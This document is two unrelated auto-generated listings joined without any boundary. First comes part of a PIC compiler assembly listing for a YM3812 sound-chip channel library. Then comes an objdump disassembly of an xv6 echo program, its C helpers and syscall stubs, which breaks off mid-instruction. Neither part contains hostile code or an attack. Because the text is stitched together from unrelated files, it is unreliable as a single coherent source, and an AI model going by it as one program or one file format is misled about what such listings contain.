; end of _SetAttack _SetRelease: ;lib_channel.c,88 :: ) { ;lib_channel.c,90 :: channel->reg_80[o] = (channel->reg_80[o] & 0xF0) | d; MOVLW 7 ADDWF FARG_SetRelease_channel+0, 0 MOVWF R0+0 MOVF FARG_SetRelease_o+0, 0 ADDWF R0+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 240 ANDWF INDF+0, 0 MOVWF R0+0 MOVF FARG_SetRelease_d+0, 0 IORWF R0+0, 1 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,92 :: YM3812_SetOperatorRegister(0x80, channel->reg_80[o], channel->ChannelNumber, o); MOVLW 128 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 MOVLW 7 ADDWF FARG_SetRelease_channel+0, 0 MOVWF R0+0 MOVF FARG_SetRelease_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetRelease_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetRelease_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,93 :: } L_end_SetRelease: RETURN ; end of _SetRelease _SetSustain: ;lib_channel.c,99 :: ) { ;lib_channel.c,101 :: channel->reg_80[o] = (channel->reg_80[o] & 0x0F) | (d << 4); MOVLW 7 ADDWF FARG_SetSustain_channel+0, 0 MOVWF R0+0 MOVF FARG_SetSustain_o+0, 0 ADDWF R0+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 15 ANDWF INDF+0, 0 MOVWF R2+0 MOVF FARG_SetSustain_d+0, 0 MOVWF R0+0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,103 :: YM3812_SetOperatorRegister(0x80, channel->reg_80[o], channel->ChannelNumber, o); MOVLW 128 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 MOVLW 7 ADDWF FARG_SetSustain_channel+0, 0 MOVWF R0+0 MOVF FARG_SetSustain_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetSustain_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetSustain_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,104 :: } L_end_SetSustain: RETURN ; end of _SetSustain _SetFrequency: ;lib_channel.c,109 :: ) { ;lib_channel.c,110 :: YM3812_SetRegister(0xA0, lower, channel->ChannelNumber); MOVLW 160 MOVWF FARG_YM3812_SetRegister_reg+0 MOVF FARG_SetFrequency_lower+0, 0 MOVWF FARG_YM3812_SetRegister_dt+0 MOVF FARG_SetFrequency_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_ch+0 CALL _YM3812_SetRegister+0 ;lib_channel.c,113 :: channel->reg_B0 = (channel->reg_B0 & 0xFC) | upper; MOVLW 9 ADDWF FARG_SetFrequency_channel+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 252 ANDWF INDF+0, 0 MOVWF R0+0 MOVF FARG_SetFrequency_upper+0, 0 IORWF R0+0, 1 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,114 :: YM3812_SetRegister(0xB0, channel->reg_B0, channel->ChannelNumber); MOVLW 176 MOVWF FARG_YM3812_SetRegister_reg+0 MOVLW 9 ADDWF FARG_SetFrequency_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_dt+0 MOVF FARG_SetFrequency_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_ch+0 CALL _YM3812_SetRegister+0 ;lib_channel.c,115 :: } L_end_SetFrequency: RETURN ; end of _SetFrequency _SetBlock: ;lib_channel.c,120 :: ) { ;lib_channel.c,122 :: channel->reg_B0 = (channel->reg_B0 & 0xE3) | (d << 2); MOVLW 9 ADDWF FARG_SetBlock_channel+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 227 ANDWF INDF+0, 0 MOVWF R2+0 MOVF FARG_SetBlock_d+0, 0 MOVWF R0+0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,123 :: YM3812_SetRegister(0xB0, channel->reg_B0, channel->ChannelNumber); MOVLW 176 MOVWF FARG_YM3812_SetRegister_reg+0 MOVLW 9 ADDWF FARG_SetBlock_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_dt+0 MOVF FARG_SetBlock_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_ch+0 CALL _YM3812_SetRegister+0 ;lib_channel.c,124 :: } L_end_SetBlock: RETURN ; end of _SetBlock _Play: ;lib_channel.c,126 :: void Play(struct YM3812_Channel *channel) { ;lib_channel.c,128 :: channel->reg_B0 = (channel->reg_B0 & 0xDF) | 0x20; MOVLW 9 ADDWF FARG_Play_channel+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 223 ANDWF INDF+0, 0 MOVWF R0+0 BSF R0+0, 5 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,129 :: YM3812_SetRegister(0xB0, channel->reg_B0, channel->ChannelNumber); MOVLW 176 MOVWF FARG_YM3812_SetRegister_reg+0 MOVLW 9 ADDWF FARG_Play_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_dt+0 MOVF FARG_Play_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_ch+0 CALL _YM3812_SetRegister+0 ;lib_channel.c,130 :: } L_end_Play: RETURN ; end of _Play _Mute: ;lib_channel.c,132 :: void Mute(struct YM3812_Channel *channel) { ;lib_channel.c,134 :: channel->reg_B0 = channel->reg_B0 & 0xDF; MOVLW 9 ADDWF FARG_Mute_channel+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 223 ANDWF INDF+0, 0 MOVWF R0+0 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,135 :: YM3812_SetRegister(0xB0, channel->reg_B0, channel->ChannelNumber); MOVLW 176 MOVWF FARG_YM3812_SetRegister_reg+0 MOVLW 9 ADDWF FARG_Mute_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_dt+0 MOVF FARG_Mute_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_ch+0 CALL _YM3812_SetRegister+0 ;lib_channel.c,136 :: } L_end_Mute: RETURN ; end of _Mute _SetVolume: ;lib_channel.c,142 :: ) { ;lib_channel.c,144 :: channel->reg_40[o] = (channel->reg_40[o] & 0xC0) | d; MOVLW 3 ADDWF FARG_SetVolume_channel+0, 0 MOVWF R0+0 MOVF FARG_SetVolume_o+0, 0 ADDWF R0+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 192 ANDWF INDF+0, 0 MOVWF R0+0 MOVF FARG_SetVolume_d+0, 0 IORWF R0+0, 1 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,146 :: YM3812_SetOperatorRegister(0x40, channel->reg_40[o], channel->ChannelNumber, o); MOVLW 64 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 MOVLW 3 ADDWF FARG_SetVolume_channel+0, 0 MOVWF R0+0 MOVF FARG_SetVolume_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetVolume_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetVolume_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,147 :: } L_end_SetVolume: RETURN ; end of _SetVolume _SetFeedback: ;lib_channel.c,152 :: ) { ;lib_channel.c,154 :: channel->reg_C0 = (channel->reg_C0 & 0xC0) | (d << 1); MOVLW 10 ADDWF FARG_SetFeedback_channel+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 192 ANDWF INDF+0, 0 MOVWF R2+0 MOVF FARG_SetFeedback_d+0, 0 MOVWF R0+0 RLF R0+0, 1 BCF R0+0, 0 MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,156 :: YM3812_SetRegister(0xC0, channel->reg_C0, channel->ChannelNumber); MOVLW 192 MOVWF FARG_YM3812_SetRegister_reg+0 MOVLW 10 ADDWF FARG_SetFeedback_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_dt+0 MOVF FARG_SetFeedback_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetRegister_ch+0 CALL _YM3812_SetRegister+0 ;lib_channel.c,157 :: } L_end_SetFeedback: RETURN ; end of _SetFeedback
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 53 push %ebx 6: 83 e4 f0 and $0xfffffff0,%esp 9: 83 ec 10 sub $0x10,%esp c: 8b 75 08 mov 0x8(%ebp),%esi f: 8b 7d 0c mov 0xc(%ebp),%edi int i; for(i = 1; i < argc; i++) 12: 83 fe 01 cmp $0x1,%esi 15: 7e 58 jle 6f <main+0x6f> 17: bb 01 00 00 00 mov $0x1,%ebx 1c: eb 26 jmp 44 <main+0x44> 1e: 66 90 xchg %ax,%ax printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); 20: c7 44 24 0c 86 07 00 movl $0x786,0xc(%esp) 27: 00 28: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 2c: c7 44 24 04 88 07 00 movl $0x788,0x4(%esp) 33: 00 34: c7 04 24 01 00 00 00 movl $0x1,(%esp) 3b: 89 44 24 08 mov %eax,0x8(%esp) 3f: e8 dc 03 00 00 call 420 <printf> 44: 83 c3 01 add $0x1,%ebx 47: 39 f3 cmp %esi,%ebx 49: 75 d5 jne 20 <main+0x20> 4b: c7 44 24 0c 8d 07 00 movl $0x78d,0xc(%esp) 52: 00 53: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 57: c7 44 24 04 88 07 00 movl $0x788,0x4(%esp) 5e: 00 5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 66: 89 44 24 08 mov %eax,0x8(%esp) 6a: e8 b1 03 00 00 call 420 <printf> exit(); 6f: e8 2e 02 00 00 call 2a2 <exit> 74: 66 90 xchg %ax,%ax 76: 66 90 xchg %ax,%ax 78: 66 90 xchg %ax,%ax 7a: 66 90 xchg %ax,%ax 7c: 66 90 xchg %ax,%ax 7e: 66 90 xchg %ax,%ax 00000080 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 80: 55 push %ebp 81: 89 e5 mov %esp,%ebp 83: 8b 45 08 mov 0x8(%ebp),%eax 86: 8b 4d 0c mov 0xc(%ebp),%ecx 89: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 8a: 89 c2 mov %eax,%edx 8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 90: 83 c1 01 add $0x1,%ecx 93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 97: 83 c2 01 add $0x1,%edx 9a: 84 db test %bl,%bl 9c: 88 5a ff mov %bl,-0x1(%edx) 9f: 75 ef jne 90 <strcpy+0x10> ; return os; } a1: 5b pop %ebx a2: 5d pop %ebp a3: c3 ret a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000b0 <strcmp>: int strcmp(const char *p, const char *q) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 8b 55 08 mov 0x8(%ebp),%edx b6: 53 push %ebx b7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) ba: 0f b6 02 movzbl (%edx),%eax bd: 84 c0 test %al,%al bf: 74 2d je ee <strcmp+0x3e> c1: 0f b6 19 movzbl (%ecx),%ebx c4: 38 d8 cmp %bl,%al c6: 74 0e je d6 <strcmp+0x26> c8: eb 2b jmp f5 <strcmp+0x45> ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi d0: 38 c8 cmp %cl,%al d2: 75 15 jne e9 <strcmp+0x39> p++, q++; d4: 89 d9 mov %ebx,%ecx d6: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d9: 0f b6 02 movzbl (%edx),%eax p++, q++; dc: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) df: 0f b6 49 01 movzbl 0x1(%ecx),%ecx e3: 84 c0 test %al,%al e5: 75 e9 jne d0 <strcmp+0x20> e7: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; e9: 29 c8 sub %ecx,%eax } eb: 5b pop %ebx ec: 5d pop %ebp ed: c3 ret ee: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) f1: 31 c0 xor %eax,%eax f3: eb f4 jmp e9 <strcmp+0x39> f5: 0f b6 cb movzbl %bl,%ecx f8: eb ef jmp e9 <strcmp+0x39> fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000100 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 106: 80 39 00 cmpb $0x0,(%ecx) 109: 74 12 je 11d <strlen+0x1d> 10b: 31 d2 xor %edx,%edx 10d: 8d 76 00 lea 0x0(%esi),%esi 110: 83 c2 01 add $0x1,%edx 113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 117: 89 d0 mov %edx,%eax 119: 75 f5 jne 110 <strlen+0x10> ; return n; } 11b: 5d pop %ebp 11c: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 11d: 31 c0 xor %eax,%eax ; return n; } 11f: 5d pop %ebp 120: c3 ret 121: eb 0d jmp 130 <memset> 123: 90 nop 124: 90 nop 125: 90 nop 126: 90 nop 127: 90 nop 128: 90 nop 129: 90 nop 12a: 90 nop 12b: 90 nop 12c: 90 nop 12d: 90 nop 12e: 90 nop 12f: 90 nop 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 8b 55 08 mov 0x8(%ebp),%edx 136: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 137: 8b 4d 10 mov 0x10(%ebp),%ecx 13a: 8b 45 0c mov 0xc(%ebp),%eax 13d: 89 d7 mov %edx,%edi 13f: fc cld 140: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 142: 89 d0 mov %edx,%eax 144: 5f pop %edi 145: 5d pop %ebp 146: c3 ret 147: 89 f6 mov %esi,%esi 149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000150 <strchr>: char* strchr(const char *s, char c) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 8b 45 08 mov 0x8(%ebp),%eax 156: 53 push %ebx 157: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 15a: 0f b6 18 movzbl (%eax),%ebx 15d: 84 db test %bl,%bl 15f: 74 1d je 17e <strchr+0x2e> if(*s == c) 161: 38 d3 cmp %dl,%bl 163: 89 d1 mov %edx,%ecx 165: 75 0d jne 174 <strchr+0x24> 167: eb 17 jmp 180 <strchr+0x30> 169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 170: 38 ca cmp %cl,%dl 172: 74 0c je 180 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 174: 83 c0 01 add $0x1,%eax 177: 0f b6 10 movzbl (%eax),%edx 17a: 84 d2 test %dl,%dl 17c: 75 f2 jne 170 <strchr+0x20> if(*s == c) return (char*)s; return 0; 17e: 31 c0 xor %eax,%eax } 180: 5b pop %ebx 181: 5d pop %ebp 182: c3 ret 183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000190 <gets>: char* gets(char *buf, int max) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 57 push %edi 194: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 195: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 197: 53 push %ebx 198: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 19b: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 19e: eb 31 jmp 1d1 <gets+0x41> cc = read(0, &c, 1); 1a0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1a7: 00 1a8: 89 7c 24 04 mov %edi,0x4(%esp) 1ac: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1b3: e8 02 01 00 00 call 2ba <read> if(cc < 1) 1b8: 85 c0 test %eax,%eax 1ba: 7e 1d jle 1d9 <gets+0x49> break; buf[i++] = c; 1bc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c0: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1c2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 1c5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1c7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1cb: 74 0c je 1d9 <gets+0x49> 1cd: 3c 0a cmp $0xa,%al 1cf: 74 08 je 1d9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1d1: 8d 5e 01 lea 0x1(%esi),%ebx 1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx 1d7: 7c c7 jl 1a0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1d9: 8b 45 08 mov 0x8(%ebp),%eax 1dc: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1e0: 83 c4 2c add $0x2c,%esp 1e3: 5b pop %ebx 1e4: 5e pop %esi 1e5: 5f pop %edi 1e6: 5d pop %ebp 1e7: c3 ret 1e8: 90 nop 1e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001f0 <stat>: int stat(char *n, struct stat *st) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 56 push %esi 1f4: 53 push %ebx 1f5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 1f8: 8b 45 08 mov 0x8(%ebp),%eax 1fb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 202: 00 203: 89 04 24 mov %eax,(%esp) 206: e8 d7 00 00 00 call 2e2 <open> if(fd < 0) 20b: 85 c0 test %eax,%eax stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 20d: 89 c3 mov %eax,%ebx if(fd < 0) 20f: 78 27 js 238 <stat+0x48> return -1; r = fstat(fd, st); 211: 8b 45 0c mov 0xc(%ebp),%eax 214: 89 1c 24 mov %ebx,(%esp) 217: 89 44 24 04 mov %eax,0x4(%esp) 21b: e8 da 00 00 00 call 2fa <fstat> close(fd); 220: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 223: 89 c6 mov %eax,%esi close(fd); 225: e8 a0 00 00 00 call 2ca <close> return r; 22a: 89 f0 mov %esi,%eax } 22c: 83 c4 10 add $0x10,%esp 22f: 5b pop %ebx 230: 5e pop %esi 231: 5d pop %ebp 232: c3 ret 233: 90 nop 234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 238: b8 ff ff ff ff mov $0xffffffff,%eax 23d: eb ed jmp 22c <stat+0x3c> 23f: 90 nop 00000240 <atoi>: return r; } int atoi(const char *s) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 8b 4d 08 mov 0x8(%ebp),%ecx 246: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 247: 0f be 11 movsbl (%ecx),%edx 24a: 8d 42 d0 lea -0x30(%edx),%eax 24d: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 24f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 254: 77 17 ja 26d <atoi+0x2d> 256: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 258: 83 c1 01 add $0x1,%ecx 25b: 8d 04 80 lea (%eax,%eax,4),%eax 25e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 262: 0f be 11 movsbl (%ecx),%edx 265: 8d 5a d0 lea -0x30(%edx),%ebx 268: 80 fb 09 cmp $0x9,%bl 26b: 76 eb jbe 258 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 26d: 5b pop %ebx 26e: 5d pop %ebp 26f: c3 ret 00000270 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 270: 55 push %ebp char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 271: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, void *vsrc, int n) { 273: 89 e5 mov %esp,%ebp 275: 56 push %esi 276: 8b 45 08 mov 0x8(%ebp),%eax 279: 53 push %ebx 27a: 8b 5d 10 mov 0x10(%ebp),%ebx 27d: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 280: 85 db test %ebx,%ebx 282: 7e 12 jle 296 <memmove+0x26> 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 0000029a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 29a: b8 01 00 00 00 mov $0x1,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <exit>: SYSCALL(exit) 2a2: b8 02 00 00 00 mov $0x2,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <wait>: SYSCALL(wait) 2aa: b8 03 00 00 00 mov $0x3,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <pipe>: SYSCALL(pipe) 2b2: b8 04 00 00 00 mov $0x4,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <read>: SYSCALL(read) 2ba: b8 05 00 00 00 mov $0x5,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <write>: SYSCALL(write) 2c2: b8 10 00 00 00 mov $0x10,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <close>: SYSCALL(close) 2ca: b8 15 00 00 00 mov $0x15,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <kill>: SYSCALL(kill) 2d2: b8 06 00 00 00 mov $0x6,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <exec>: SYSCALL(exec) 2da: b8 07 00 00 00 mov $0x7,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <open>: SYSCALL(open) 2e2: b8 0f 00 00 00 mov $0xf,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mknod>: SYSCALL(mknod) 2ea: b8 11 00 00 00 mov $0x11,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <unlink>: SYSCALL(unlink) 2f2: b8 12 00 00 00 mov $0x12,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <fstat>: SYSCALL(fstat) 2fa: b8 08 00 00 00 mov $0x8,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <link>: SYSCALL(link) 302: b8 13 00 00 00 mov $0x13,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mkdir>: SYSCALL(mkdir) 30a: b8 14 00 00 00 mov $0x14,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <chdir>: SYSCALL(chdir) 312: b8 09 00 00 00 mov $0x9,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <dup>: SYSCALL(dup) 31a: b8 0a 00 00 00 mov $0xa,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getpid>: SYSCALL(getpid) 322: b8 0b 00 00 00 mov $0xb,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <sbrk>: SYSCALL(sbrk) 32a: b8 0c 00 00 00 mov $0xc,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sleep>: SYSCALL(sleep) 332: b8 0d 00 00 00 mov $0xd,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <uptime>: SYSCALL(uptime) 33a: b8 0e 00 00 00 mov $0xe,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <myMemory>: SYSCALL(myMemory) 342: b8 16 00 00 00 mov $0x16,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <inodeTBWalker>: SYSCALL(inodeTBWalker) 34a: b8 17 00 00 00 mov $0x17,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <deleteIData>: SYSCALL(deleteIData) 352: b8 18 00 00 00 mov $0x18,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <directoryWalker>: SYSCALL(directoryWalker) 35a: b8 19 00 00 00 mov $0x19,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <compareWalkers>: SYSCALL(compareWalkers) 362: b8 1a 00 00 00 mov $0x1a,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <recoverFS>: SYSCALL(recoverFS) 36a: b8 1b 00 00 00 mov $0x1b,%eax 36f: cd 40 int $0x40 371: c3 ret 372: 66 90 xchg %ax,%ax 374: 66 90 xchg %ax,%ax 376: 66 90 xchg %ax,%ax 378: 66 90 xchg %ax,%ax 37a: 66 90 xchg %ax,%ax 37c: 66 90 xchg %ax,%ax 37e: 66 90 xchg %ax,%ax 00000380 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 380: 55 push %ebp 381: 89 e5 mov %esp,%ebp 383: 57 push %edi 384: 56 push %esi 385: 89 c6 mov %eax,%esi 387: 53 push %ebx 388: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 38b: 8b 5d 08 mov 0x8(%ebp),%ebx 38e: 85 db test %ebx,%ebx 390: 74 09 je 39b <printint+0x1b> 392: 89 d0 mov %edx,%eax 394: c1 e8 1f shr $0x1f,%eax 397: 84 c0 test %al,%al 399: 75 75 jne 410 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 39b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 39d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3a4: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 3a7: 31 ff xor %edi,%edi 3a9: 89 ce mov %ecx,%esi 3ab: 8d 5d d7 lea -0x29(%ebp),%ebx 3ae: eb 02 jmp 3b2 <printint+0x32> do{ buf[i++] = digits[x % base]; 3b0: 89 cf mov %ecx,%edi 3b2: 31 d2 xor %edx,%edx 3b4: f7 f6 div %esi 3b6: 8d 4f 01 lea 0x1(%edi),%ecx 3b9: 0f b6 92 96 07 00 00 movzbl 0x796(%edx),%edx }while((x /= base) != 0); 3c0: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3c2: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 3c5: 75 e9 jne 3b0 <printint+0x30> if(neg) 3c7: 8b 55 c4 mov 